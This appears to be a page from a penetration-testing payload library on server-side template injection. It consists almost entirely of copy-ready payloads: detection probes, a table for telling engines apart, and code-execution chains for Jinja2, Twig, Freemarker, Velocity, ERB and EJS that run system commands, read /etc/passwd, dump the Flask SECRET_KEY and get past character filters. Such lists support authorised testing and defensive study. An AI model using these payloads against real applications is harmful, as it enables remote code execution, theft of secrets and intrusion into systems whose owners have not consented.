PAYLOADS
Engagement set once — every payload copies with these filled in

Template injection

class

Input reaching a template engine as template source rather than as data. Usually ends in code execution.

29 payloads · updated 2026-08-24 · see also Encoding and bypass · raw

01Detect

One payload tells you whether you're in a template at all.

POLYGLOT PROBE7
${7*7}
COPY
{{7*7}}
COPY
<%= 7*7 %>
COPY
#{7*7}
COPY
${{7*7}}
COPY
{{7*'7'}}
COPY
${7*7}{{7*7}}<%=7*7%>${{7*7}}#{7*7}Fire all of them at once. Whatever comes back tells you which engine you're facing.
COPY
READING THE RESULT
49 from {{7*7}}Jinja2, Twig, or another curly-brace engine
49 from ${7*7}Freemarker, Velocity, or a JS template literal
49 from <%= 7*7 %>ERB or EJS
7777777 from {{7*'7'}}Jinja2 — Python repeats the string
49 from {{7*'7'}}Twig — PHP coerces to a number
Nothing, but no errorIt's data, not a template. Move on.

The {{7*'7'}} distinction between Jinja2 and Twig is worth memorising — it's the difference between a Python and a PHP payload chain, and everything after this point depends on it.

02Jinja2 (Python)

JINJA28
{{config}}Dumps the Flask config, which often has SECRET_KEY in it.
COPY
{{config.items()}}
COPY
{{self.__init__.__globals__.__builtins__.import('os').popen('id').read()}}
COPY
{{cycler.__init__.__globals__.os.popen('id').read()}}Shorter chain, no __builtins__. Usually the one that works.
COPY
{{joiner.__init__.__globals__.os.popen('id').read()}}
COPY
{{namespace.__init__.__globals__.os.popen('id').read()}}
COPY
{{lipsum.__globals__.os.popen('id').read()}}The shortest reliable one. Try it first.
COPY
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
COPY

When . is filtered, use []{{lipsum['__globals__']['os']}}. When _ is filtered, use \x5f. When both are, you're into the __class__.__mro__ chain and it's a long evening.

03Twig (PHP)

TWIG5
{{_self}}
COPY
{{dump(app)}}
COPY
{{['id']|filter('system')}}
COPY
{{['id']|map('system')}}
COPY
{{app.request.query.filter(0,0,1024,{'options':'system'})}}
COPY

04Freemarker and Velocity (Java)

FREEMARKER2
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
COPY
${"freemarker.template.utility.Execute"?new()("id")}
COPY
VELOCITY1
#set($e="e")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id")
COPY

05ERB and EJS

ERB (RUBY)4
<%= 7*7 %>
COPY
<%= system("id") %>
COPY
<%= `id` %>
COPY
<%= File.open('/etc/passwd').read %>
COPY
EJS (NODE)2
<%= 7*7 %>
COPY
<%= global.process.mainModule.require('child_process').execSync('id') %>
COPY

Node template engines vary wildly in what's in scope. If global isn't there, try process, then require directly — one of the three is usually reachable.

/
↑↓ move⏎ copy⇧⏎ open pageesc close